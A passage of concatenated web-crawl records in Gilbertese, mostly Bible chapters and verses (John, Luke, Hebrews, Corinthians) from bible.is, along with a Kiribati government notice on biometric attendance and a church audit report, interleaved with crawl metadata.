neboan te Atua. 3A na karaoi baikai nakoimi aomata ibukina bwa a aki ataa Tamau, ao a aki ataai naba. 4Ma I atongi baikai nakoimi bwa ngkana e roko te aoa are a karaoi iai baikai nakoimi aomata, ao kam na uringnga bwa I a kaman taekin nakoimi. 5I aki taekini baikai nakoimi ngkoa, ibukina ngke I meemena iroumi. Ma ngkai N nangi nako nakon Teuare e kanakomaiai, ao akea naba iroumi ae e titirakinai ni kaangai, Ko na nakea? 6Ma ngkai I a tia n taekini baikai nakoimi, ao kam a taonaki n te nanokaawaki. 7Ma I tuangkami te koaua: e manen riki i bukimi nakou; bwa ngkana I aki nako, ao E aki roko iroumi te Tia Buobuoki. Ma ngkana I nako, ao N na kanakomaia nakoimi. 8Ao ngkana E roko, ao E na kaotia nakon te aba bwa e bure ootana n aron te bure ao te raoiroi, ao e bure naba ootana n aron ana motiki-taeka te Atua. 9E bure ootana n aron te bure ibukina ngkai e aki onimakinai; 10e bure ootana n aron te raoiroi ibukina ngkai N nangi nako n te Tama, ao kam na aki manga noorai; 11ao e bure ootana n aron ana motiki-taeka te Atua ibukina ngkai e a kaman tia ni motikaki taekan te tia taua taekan te aonnaba aei. 12A bati baika I kan taekin riki nakoimi, ma kam aki konaa n oota iai ngkai. 13Ma ngkana E roko te Taamnei ibukin te koaua, ao E na kairingkami nakon te koaua ni kabanea: bwa E na aki taekina are oin nanona, ma E na taekina are E ongo, ao E na tuangkami baika a na roko. 14Ane E na neboai, bwa E na anai au taeka ao E na taekin nakoimi. 15Bon au bwai bwaai ni bane ake iroun te Tama; ao aei bukin are I kaangai iai, bwa E na anai au taeka ao E na taekin nakoimi. 16Ai ti teutana, ao kam na aki noorai; ao ai manga ti teutana riki i mwiina, ao kam na manga noorai. 17A i titiraki i bon irouia ana reirei Iesu ake tabemwaang, ao a kaangai, Tera nanon ana taeka ngke E kaangai nakoira, Ai ti teutana, ao kam na aki noorai; ao ai manga ti teutana riki i mwiina, ao kam na manga noorai? Ao tera naba nanon ana taeka are e kaangai, I bukina bwa N na nako n te Tama? 18Tera nanon ae e kaangai, Ai ti teutana? Ti aki ataa ae E nanonna iai. 19E atai nanoia Iesu ae a kan titirakinna, ma ngaia are E taku nakoia, E kaangai au taeka, Ai ti teutana, ao kam na aki noorai; ao ai manga ti teutana riki i mwiina, ao kam na manga noorai. Ngaia aei ae kam i titiraki iai iroumi bwa kam kan ataa nanona? 20Bon te koaua ni koaua ae I a tuangkami bwa ane kam na tang ma n tanginiwenei, ma ane e na kimwaareirei te aba; ane kam na nanokaawaki, ma ane e na oneaki nanokaawakimi nakon te kimwaareirei. 21Ngkana e a kaani bung te aine, ao e nanokaawaki, bwa e a roko ana aoa ni maraki; ma ngkana e a tia ni bungia natina, ao e mwaninga taekani marakina, ibukini kukureina bwa e a bungiaki te aomata nako aon te aba. 22Ao ai aromi naba: bwa kam nanokaawaki ngkai, ma N na manga nooringkami, ao ane a na kaonaki nanomi n te kimwaareirei, ao akea temanna ae e na anaa kimwaareireimi mai iroumi. 23Ao n te bong arei, ao akea ami titiraki ae kam na manga titirakinai iai. Bon te koaua ni koaua ae I a tuangkami bwa ngkana kam butiia te Tama te bwai teuana n arau, ao E na anganingkami. 24Kam tuai ni buubuti te bwai teuana n arau ni karokoa ngkai: kam na buubuti, ao ane kam na anganaki, bwa e aonga ni koro raoi kimwaareireimi. 25I a tia ni kaboonganai taeka aika a kaangaanga iroumi bwa kam na oota iai ngke I atongi baikai nakoimi; ma e na roko te aoa are N na aki manga taekina iai te Tama nakoimi n taeka aika a kaangaanga iroumi bwa kam na oota iai, ma N na taekinna nakoimi n te aro ae kam na oota raoi iai. 26N te bong arei ao kam na butiia te Tama n arau; ao I aki taku nakoimi bwa N na butiia i bukimi; 27bwa E bon tangiringkami te Tama ibukina ngke kam tangirai ao kam kakoauaa ae I nako maai mai iroun te Atua. 28I nako mai mai iroun te Tama, ao I roko i aon te aba; ao ngkai, N nang kiitana te aba n nako n te Tama. 29A taku ana reirei nakoina, Noria, ti a oota raoi ngkai n am taeka, bwa Ko a aki kaboonganai taeka aika ti aki oota iai. 30Ti a ataiko ngkai bwa Ko atai bwaai ni kabane, ao Ko a aki tangira temanna bwa e na titirakiniko; ti a kakoauaa iai bwa ngaia Ko nako mai mai iroun te Atua. 31E kaekaia Iesu ao E taku, Kam a tibwa kakoauaa iai ngkai? 32Noria, e a roko te aoa, ao e a boni kaman roko, are kam na kauamaeaki nako iai nakoni mwengami nako, ao kam na kiitanai ni katukai n ti Ngai; ma iai raou bwa Tamau. 33I atongi baikai nakoimi bwa e aonga n reke iroumi te rau ngkana kam reitaki ma Ngai. Ami bwai i aon te aba te rawaawata; ma kam na ninikoria, bwa I a tia ni kataea ana kai te aba.\nIOANE 16","id":"","dump":"CC-MAIN-2015-27","url":"http:\/\/www.bible.is\/GILBSP\/John\/16","date":"2015-07-04T09:23:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-27\/segments\/1435375096579.89\/warc\/CC-MAIN-20150627031816-00054-ip-10-179-60-89.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":972,"character_repetition_ratio":0.069,"word_repetition_ratio":0.046,"special_characters_ratio":0.243,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"18Kam na tai kariaia bwa e na baaireaki taekami bwa kam aki tau iroun temanna are e taku bwa e kakannato riki, ibukina bwa e a tia n noori baika kaanga taiani mii, ao are e imanonoa bwainakin te baka-nnanoorinano ma taromauriaia anera. Akea manenani kainikatongana ibukina bwa e bwaina te nano n aon te aba,\nKOROTE 2:18\nFREE!\nOne App.\n1641 Languages.","id":"","dump":"CC-MAIN-2015-27","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/18","date":"2015-07-04T09:36:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-27\/segments\/1435375096579.89\/warc\/CC-MAIN-20150627031816-00264-ip-10-179-60-89.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":61,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.393,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBETO 3:2020Ao nakon Teuare e konaa ni karaoi bwaai aika moan te bati aika a mwaiti riki nakoni bwaai aika ti buubuti ma n ururing, n ai aron te mwaaka ae e mwamwakuri i nanora: Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2015-35","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/3\/20","date":"2015-08-29T09:34:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-35\/segments\/1440644064420.15\/warc\/CC-MAIN-20150827025424-00045-ip-10-171-96-226.ec2.internal.warc.gz","language":"gil","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000088214874268}","num_words":50,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5Akea ae e na rawa iroumi ni wene n taanga, ma ti ngkana kam a tia ni booraraoi bwa kam na aki karaoia moa i nanon taina are kam baaireia, bwa kam aonga ni kaboonganaa ami tai anne n taatataro iai; ma i mwiin anne ao kam bon riai ni manga okiri aromi n reitaki bwa taanga ngkami, bwa kam kaawa ni kariiriiaki iroun Tatan ngkai kam babanga n taotaon nanomi.\n1 KORINTO 7:5\nFREE!\nOne App.\n1670 Languages.","id":"","dump":"CC-MAIN-2015-40","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/5","date":"2015-10-07T07:03:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-40\/segments\/1443736682773.27\/warc\/CC-MAIN-20151001215802-00250-ip-10-137-6-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":76,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.355,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ni bowin te Auti-n-Tei ae nako ao e maroroakinaki iai aia aoa ni makuri Taan Makuri are a kabaeaki iai. Iai ake a kona n nooraki n aoan te makuri n ririaki iaon Bairiki ngke a riai n tekateka n aia tabo ni makuri ni karaoi tabeia ibukin te botanaomata.\nIbukin anne, ao e a waaki ngkai te PSO ni kaungaia tabo ni makuri nako kabonganaan ao rinanoan aia attendance record Taan Makuri nako n aia tabo aika kakaokoro.\nIai ana iango PSO ni kaungaia ministries bwa ana kabongana te Bio-Metric Attendance System n aia divisions nako. Te mitiin are kabongana tabon-bain te aomata ni kinaa ao n taua te tai are roko iai ao n otinako man te aobiti. Iai ministries ake a tia ni waaki iaon aei ao a nooria bwa e tamaroa ibukin tauan mwin te roko ao te otinako bwa e kona ni kaotinakoi ribooti tabeua ake a kona n nooraki ao ni kawakinaki ibukin rongorongon aia attendance Taan Makuri.\nMinistries ake a tuai kaobngana te aeka n system aei a kaungaki bwa a mwaing nako iai be aonga n tamaroa aron tauan mwin rokoia ao nakoia aia Taan Mwakuri n te bong teuana ma teuana.","id":"","dump":"CC-MAIN-2015-40","url":"http:\/\/pso.gov.ki\/","date":"2015-10-05T10:07:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-40\/segments\/1443736677221.11\/warc\/CC-MAIN-20151001215757-00054-ip-10-137-6-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":200,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10785_859_22cantwellNakon te Moan Beretitentii n Ana Ekaretia Iesu Kristo Ibukiia Aika Itiaki Ni Boong Aika Kaitira.\nTariu aika kam tangiraki: N aron te kaotioti are e koreaki n Doctrine ao covenants, n te mwakoro 120 bwa bon te tua, aron kabwakan te Kabwianibwai n aron te kabane mwane man ana mwane te Ekaretia. Te kauntira aio e rabwatanaki man te Moan Beretitentii, te Kooram n Abotoro are Tengaun ma Uoman, ao te Bitiobiriki n Tararua.\nTe kauntira aio e kariaia te kataumwane ibukin ana tabo ni mwakuri nako te Ekaretia, kamwakurakina, ao tibwaakina nakon mwaangan nako te aro. Ana rabwata nako te Ekaretia a kabane mwane n aron aia kataumwane ake a kariaiakaki n aron tuua ao waakinana n te Ekaretia.\nTe Tabo ni Mwakuri n Oteta n te Ekaretia e a tia n anganaki kariaiakana nakon rekooti ni kabane ao tititem ake a riai ni kakaaea bwaninin te tararua ibukin ritiiti ni mwaane, kabanemwane, ao ni kaawakini bwain te Ekaretia. Ana tabo ni Mwakuri n Oteta n te Ekaretia e bon inaomata man ana tabo ni mwakuri nako te Ekaretia ao mwakuriana, ao taani mwakuri iai bon ti akauntenti aika a kinaaki, oteta aika kinaaki, oteta ibukin atakin nako taian mwakuri aika baireaki raoi, ao tabeman riki taan rabakau aika a beeba.\nE boboto aio iaon ana mwakuri te oteta, te Tabo ni Mwakuri n Oteta n te Ekaretia bon ana iango bwa, a na taraaki ni kabane bwaai, tiibwaia ake a karekeaki, ni kabane mwane ake a tia ni karaoaki, ao bwain te Ekaretia ibukin te ririki 2012 a tia n tauaki mwiia ao n tararuaaki n aroia ao aron mwakurin te mwane ake a riai, kataumwane ake a kariaiakaki, ao ana tua ao wakinana n te Ekaretia.\nN anga ma te karinerine\nTe Tabo ni Mwakuri n Oteta n te Ekaretia\nRobert W. Cantwell\nTarekita n Tararua","id":"","dump":"CC-MAIN-2016-07","url":"https:\/\/www.lds.org\/general-conference\/2013\/04\/church-auditing-department-report-2012?lang=gil&_r=2","date":"2016-02-06T01:31:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-07\/segments\/1454701145578.23\/warc\/CC-MAIN-20160205193905-00161-ip-10-236-182-209.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":308,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwini baikekei, ao te Uea, E rineia riki itingaun, ao E kanakoia ni kakauomaniia, b'a na ri moana nakoni kaawa ma taabo ake E na kawari. 2Ao E taku nako ia, A m'aiti uaa aika a bo taiia n rikoaki, ma a karako taani m'akuri. Ma ngaia ae kam na butiia Teuare ana b'ai baikai b'a E na kanakoia taani m'akuri b'a a na rikoi ana uaa. 3Kam na nako; noria, I kanakoingkami, b'a kanga aroia tiibu aika ataei i buakoia kameanti. 4Kam na aki uota te b'auti ni m'ane, nen ami b'ai, ao ami kauniwae; ao kam na aki kamauriia ni kabaneia ane kam kaitibo ma ngaiia n ami tai ni m'ananga. 5Ngkana kam rin n te auti teuana, ao kam na kangai moa, \"E na mena te rau n te auti aei.\" 6Ngkana iai ae e tauraoi ni butim'aea te rau ikanne, ao e na tiku i aona ami rau; ma ngkana akea, ao e na manga okiringkami ami rau. 7Kam na tiku n te auti naba anne, n nim ao ni kang baike a karekei i bukimi, b'a e riai n reke nakon te tia m'akuri boona; tai bibita nem n tiku man te auti teuana ao i mwina teuana. 8Ngkana kam roko n te kawa teuana, ao ngkana a m'aneingkami n akoingkami kaaina, ao kam na kang baike a kaakiaki i matami. 9Kam na kamaiuia aoraki iai, ao kam na kangai nako ia, \"E kaan nako imi uean te Atua.\" 10Ma ngkana kam roko n te kawa teuana ao ngkana a aki m'aneingkami n akoingkami, ao naako nanoni kawa nako ao kangai, 11\"Ti taei bubun aontanon ami kawa aika nim i waera b'a te b'ai ni kakoaua nako imi b'a kam aki mutiakiniira; ma e ngae n anne ao kam na ata aei, b'a e a roko ni kaan uean te Atua!\" 12I tuangngkami b'a e bebete riki te rekenikai are e na reke nakoia I-Totom nakon are e na reke irouia kaain te kawa arei n te bongi ni motikitaeka! 13E na reke kaim Koratin! E na reke kaim Betetaita! B'a ngke arona b'a a tia ni karaoaki m'akuri aika kamimii i Turo ao i Titon ake a karaoaki i nanomi, ao a kaman rairi nanoia, n tekateka i buakoni mannang ma kunnikaia aika b'ab'ainaki n tain te rawawata. 14Ma e na bebete riki te rekenikai are e na reke nakoia I-Turo ma I-Titon nakon are e na reke nako imi n te bongi ni motikitaeka. 15Ao ngkoe, Kaberenaum, ko taku b'a ko na karineaki nako karawa? Ko na aki, ko na karinanoaki nako Eriti. 16\"Ane ongo i roumi, ao e ongo naba i Rou; ao ane e ribaingkami, ao e ribaai naba; ao ane ribaai, ao e ribaa naba Teuare E kanakomaiai.\" 17A oki uake itingaun ma te kim'areirei, ao a taku, \"Te Uea, a aantaeka naba i roura taimonio n aram!\" 18Ao E taku nako ia, \"I nora Tatan b'a e b'aka mai karawa kanga ai aron te iti. 19Noria, I a tia n anganingkami te m'aaka b'a kam na kona n tou aoia naeta ma tikaobian, ao n tokanikai i aoni m'aakan nako te Kairiribai, ao akea te b'ai ae kam na kabuanib'ai iai. 20Ma e ngae n anne, ao kam na aki kakatonga n aei, ae a aantaeka i roumi anti; ma kam na kakatonga b'a a koreaki arami i karawa.\" 21N te aoa naba arei, ngke E kairaki Iesu ni m'aakan te Tamnei are Raoiroi, ao E kakatonga ao E kangai, I karaoiroiko Tamau, ae Ueani karawa ma aonnaba, b'a Ko a tia ni karabai baikai mairouia akana rabakau ma akana wanawana, ao Ko kaotii nakoia akana merimeri; eng, Tamau b'a aei aron nanom n akoi. 22I anganaki b'aai ni kabane iroun Tamau; ao akea ae ata te Nati b'a ti te Tama; ao akea ae ata te Tama ma ti te Nati, ao ane E kani kaotia te Nati nako ina. 23E rairaki ngkanne nakoia ana reirei, ao E taku nakoia ni kaonotiia, \"A a kab'aia maata aika nori baika kam nori! 24B'a I taku nako imi, b'a a m'aiti burabeti ma uea aika kan noora ae kam noria, ma a aki noria, ao a kan ongo ae kam ongo, ma a aki ongo.\" 25Ao noria, e tei rake te rooia temanna b'a e na kataia, ao e kangai, \"Te Tia Reirei, tera ae N na karaoia b'a e aonga n reke i rou te maiu are aki toki?\" 26E taku Iesu nako ina, \"Tera are koreaki n te Tua? E kangaa am wareware iai?\" 27Ao e kaeka ni kangai, \"Ko na tangira te Uea ae te Atua n nanom ni kabanea, ao ni maium ni kabanea, ao ni korakoram ni kabanea, ao ni wanawanam ni kabanea; ao ko na tangira raom n ai aron tangiram i bon i roum.\" 28E taku Iesu nako ina, \"Ko a tia n anga te kaeka ae eti; karaoa anne ao ko na maiu iai.\" 29Ma e kani karaoiroia teuarei, ao e taku nakon Iesu, \"Ao antai raou?\" 30Ao E kaeka Iesu ni kangai, \"E nako te aomata temanna mai Ierutarem nako Ieriko, ao e bo ma taani kam'arua, ake a anai ana b'ai mai rouna ao a oreia, ao a kitanna ngke e a kani mate. 31N te tai anne, ao e m'ananga te ibonga temanna n toua te kawai naba arei; ngke e nora teuarei, ao e ri rarikina ni kararoa. 32Ao ai aron naba temanna man te baronga are Rewi, b'a ngke e roko n te tabo arei ao ngke e noria, ao e ri rarikina ni kararoa. 33Ao e roko te I-Taamaria temanna n te tabo are e mena iai teuarei, ao ngke e noria, ao e nanoangaia. 34E nako ina ao e kab'aroa te b'a ma te wain i aon ikoakina, ao e kabaebaei; e katokaa i aon are bon ana man ao e uotia nakon te auti n iruwa ao e tararuaia iai. 35N te bong are i mwina, ao e anai uoua te tenari ao e angan teuare ana auti te auti ao e taku, 'Ko na tararua teuaei; ngkana iai riki ae ko na kabanea i bukina, ao N na kabooa mwina nako im ngkana I oki.' \" 36Tera am iango, \"Antai mai buakoia uake teniman ae kakoauaki b'a raon teuare e bo ma taani kam'arua?\" 37Ao e kaeka te rooia ao e taku, \"Teuare e nanoangaia.\" Ao E taku Iesu nako ina, \"Ko na nako ao karaoa are e karaoia!\" 38Ngke E nakonako Iesu ma na reirei, ao E roko n te kawa ike E a butim'aeaki iai iroun te aine ae arana Mareta, nakon ana auti. 39Ao neierei, iai tarina ae arana Nei Maria, are e tekateka i rarikin waen Iesu ao e ongongora n ana reirei. 40Ma Nei Mareta, e rangi n tabetabe ana iango n ana m'akuri; ao e nako n Iesu ao e taku, \"Te Uea, Ko aki tabe ngkai e kitanai tariu b'a N na m'akuri n ti ngai? Ko na tuangnga b'a e na buokai!\" 41Ao E kaeka Iesu ni kangai, \"Mareta, Mareta, ko iango n raraoma ao e aki rau nanom i bukini baika bati, 42ma e kainanoaki te b'ai ae ti teuana. E a tia Nei Maria n rinea te tib'a are raoiroi riki, are e na aki anaaki mai rouna.\"\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/10","date":"2016-05-26T22:46:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049276305.39\/warc\/CC-MAIN-20160524002116-00242-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1216,"character_repetition_ratio":0.042,"word_repetition_ratio":0.002,"special_characters_ratio":0.264,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ke e teimatoa aroia n i tangitangiri taari. 2Kam na ururinga akoaia iruwa. Iai tabem'aang aika karaoa anne, ao a aki ataia iai b'a a tia naba n akoia anera. 3Ururingiia akana kabaeaki b'a buure b'a kanga ai aron ae kam kabaeaki ma ngaiia; ao akana b'ainikirinaki n ai aron ae boni ngkami naba ngaiia n rab'atami. 4E na karineaki te mare irouia aomata ni kabaneia, ao a na aki urua aroia ni maiu n taanga te m'ane ma buuna; b'a te Atua E na motiki taekaia ni kabuakakaia taani wene ni bure ma ainenum'a ke mm'aanenum'a ao taani wene ni bure ma ake akea buia. 5A na akea ni maiumi te baki tianti, ma a na rauaki nanomi ni baika iai i roumi. B'a E a tia ni kangai te Atua, \"N na bon aki kakiko, Ao N na bon aki kitaniko.\" 6Ma ngaia ae ti na aki maaku ni kangai: \"Te Uea bon te tia buokai; N na aki maaku; Tera ae e kona te aomata ni karaoia nako iu?\" 7Kam na ururingiia ami taani kairiri ngkoa, ake a tataekina ana taeka te Atua nako imi; kam na taratarai aroia ni maiuia ma mateia, ao kam na kakairi n aia onimaki. 8Ai uana nako naba Iesu Kristo ngkoananoa, ao n te bong aei, ao n aki toki. 9A na tai anaki nanomi n aeka n reirei nako aika kaokoro ma taekan te euangkerio. B'a e raoiroi ae reke kateimatoan te nano n te akoi, ma tiaki n taian am'arake, aika akea kab'aiaia iai akana katabeia iai. 10Bon iai ara baonikarea, ae akea iai aia ibonga ake taani karao taromauri n te um'anrianna b'a a na am'arake maiai. 11B'a rab'ataia maan akana uotaki raraaia nako nanon te tabo are tabu i bukini kab'arani buure iroun te ibonga ae kakannato, a kabuokaki i tinanikun te ne ni maeka n rianna. 12Ao anne bukin are E maraki ma ni mate iai Iesu i tinanikuni mataroan te kawa, b'a e aonga ni katabui maiuia aomata b'a ana b'ai te Atua n oin raraana. 13Ma ngaia ae ti na nako Ina i tinanikun te nne ni maeka n rianna, n uaia n uataboa ma Ngaia kamamaaeana. 14B'a akea i roura ikai te kawa ae tei maan n aki toki; ma bon iai ae na roko, ae ti ukoukoria. 15Ma ngaia ae i nanon Iesu ao ti na tai toki n anga te karea ae karaoiroan te Atua, ae te karea ae ti anga ni wiira aika kaotiota onimakinan arana. 16Ao kam na tai m'aninga te kakaraoa ae raoiroi ma te i buokanib'ai; b'a aikai karea aika E kukurei iai te Atua. 17Kam na ongeaba nakoia ami taani kairiri, ao kam na aan taeka i rouia: b'a a tantani n aki motirawa i bukini kawakinani maiumi, ngkai a nang taekin aroia ni m'akuri. Ngkana kam ongeaba i rouia ma n iri nanoia, ao a na karaoa aia m'akuri ma te kim'areirei; ma ngkana kam aki, ao a na karaoa aia m'akuri ma te rawawata n nano, ao anne bon akea buokami iai. 18Kam na tataro i bukira; b'a ti taku b'a a raoiroi mataniwin nanora, ngkai ti kani kakaraoa ae raoiroi nakoni b'aai ni kabane. 19Ao bon au bubuti nako imi ae bati b'a kam na tataro i bukira, b'a I aonga ni waekoa ni manga okiringkami. 20Ao te Atua, ae mai Rouna te raoi, are kaira rake mai buakoia maate ara Uea are Iesu, are te Tia Kawakin tiibu are kakannato, are e kabonganaki raraana i bukini karaoan te boraraoi are aki toki, 21E na katauraoingkami nakoni m'akuri aika raraoi ni kabane b'a kam aonga ni karaoa nanona, ao b'a kam aonga iroun Iesu Kristo ni karaoa are E na kukurei iai te Atua. Ao ana b'ai Kristo te neboaki n aki totoki. Amen. 22Taari, I a tia ni korea te reta ae kimototo aei i bukini kakorakoraan nanomi, ao I butingkami b'a kam na ongora ma te taotaonaki n nano n te baere I a tia n taekinna iai. 23Kam na ata tarira are Timoteo b'a e a tia ni kainaomataki; ao ngkana e aki waeremwe n roko i rou, ao ti na uaia n noringkami. 24Kam na anga au kamauri nakoia ami taani kairiri ma ake a itiaki ni kabaneia. A kamauringkami taari aika I-Itare. 25E na mena ana akoi te Atua i roumi ni kabaneingkami.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/13","date":"2016-05-24T10:54:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049270527.3\/warc\/CC-MAIN-20160524002110-00156-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":726,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"14I taekina aei i bukina b'a te mm'aane ae aki onimaki e a warekaki b'a temanna ngaia i buakoia ana aomata te Atua i bukin arona ni katiteuanaki ma buuna; ao te aine ae aki onimaki e a riki b'a temanna ngaia i buakoia ana aomata te Atua i bukini buuna ngkae e onimaki. B'a ngkana tiaki arona aei, ao natiia a na katotoong aroia ataei aika natiia beekan; ma ngkana arona aei, ao a butim'aeaki natiia iroun te Atua.\n1 KORINTO 7:14\nFREE!\nOne App.\n1189 Languages.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/14","date":"2016-05-26T10:44:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049275835.98\/warc\/CC-MAIN-20160524002115-00033-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":85,"character_repetition_ratio":0.084,"word_repetition_ratio":0.026,"special_characters_ratio":0.246,"stopwords_ratio":0.376,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1N taai ake ngkoangkoa ao te Atua E taetae nakoia ara bakatibu irouia burabeti n te tai teuana ma teuana, ao n aaro aika bati; 2ao ni boong aikai aika kabaneani boong, E taetae nako ira iroun Natina, are E a tia n rineia b'a te tia b'aib'ai ni b'aai ni kabane, ao are E karaoa te aonnaba ae b'anin i Rouna; 3Ngaia raneaneani mimitongin te Atua, ao katotongan arona ni koaua; ao E kateimatoai b'aai ni kabane aika karikaki b'a a na waki n aroia n ana taeka ae m'aka. Ngke E a tia ni kaitiaki buure, ao E tekateka i angaatain te Atua are M'aka i eta; 4ngkae E a tia n riki ni kakannato riki nakoia anera n ai aron arana are E b'ainna ngkae e rine riki nakon araia. 5B'a te anera ra ae E kangai te Atua nako ina ngkoa, \"Bon Natiu Ngkoe n te bong aei ao bon tamam ngai.\" Ke ni kangai, \"N na riki b'a Tamana Ngai ao Ngaia E na riki b'a Natiu.\" 6Ma ngke E nang kanakoa ana moa n Nati te Atua nako aon te aba, ao E kangai, \"Ao a bane ana anera te Atua n taromauria.\" 7Ao E taekinia anera te Atua ni kangai: \"E karaoia ana anera b'a aang, ao ana tia m'akuri b'a uran te ai.\" 8Ma E taekina Natina ni kangai: \"Ueam, te Atua, e na teimatoa n aki totoki; ao Ko na tautaeka ma te eti i aoia am aomata. 9Ko tangira karaoan nanon te Atua, ao Ko riba riaoakin nanona. Ma ngaia ae E kabiriko te Atua, ae Atuam, ni b'an te kim'areirei b'a Ko aonga ni kim'areirei riki i aoia raom.\" 10Ao E kangai naba, \"Ngkoe, te Uea, Ko kawenea aan aonnaba i m'ain rikini b'aai, ao Ko karaoa karawa ni baim. 11A na mauna, ma Ko tei matoa; A na bane ni mane n ai aron te kunnikai. 12Ao ane ko na rukum n ai aron te ninira, ao a na onikaki naba n ai aron te kunnikai: Ma ai uauam nako naba Ngkoe, ao a na akea tokin am ririki.\" 13Ao te anera ra ae E kangai te Atua nako ina n te tai teuana, \"Ko na tekateka i angaataiu, ni karokoa I kakiia am kairiribai b'a neni katokaani waem.\" 14Tiaki bon tamnei ni kabaneia anera, aika taani m'akuri aika kanakoaki b'a a na buokiia te koraki akana nang karekea te kamaiuaki?\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/1","date":"2016-05-25T13:35:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049274985.2\/warc\/CC-MAIN-20160524002114-00065-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":404,"character_repetition_ratio":0.055,"word_repetition_ratio":0.005,"special_characters_ratio":0.257,"stopwords_ratio":0.399,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ko na koroboki nakon ana anera te ekaretia are i Ebeto ni kaangai: \"Aio ana taeka Teuare tau itoi ake itiua i ataina, are E nakonako i buakoni kain-tei n taura ake koora ake itiua: 2I atai aroarom ni kabane, ma arom n rangi ni m'akuri korakora, ma nanom'aakam, ma arom n aki kona n taona nanom nakoia akana buakaka; ao ko a tia ni kataia akana taku b'a taan tuatua ngaiia ngke bon tiaki, ao ko kuneia b'a bon taani kewekewe. 3Iai i roum te nanom'aka, ao ko taotaona nanom i bukin arau, ao e aki b'ara nanom. 4Ma iai te b'ai ae N na waeiko iai, b'a ko a tia ni kaaki te tangira are reke i roum ngke ko moan riki b'a te Kristian. 5Ma ngaia ae ko na uringa te aro are ko b'aka mai iai, ao ko na raira nanom, ao karaoi m'akuri ake ko karaoi ngke ko moa n riki b'a te 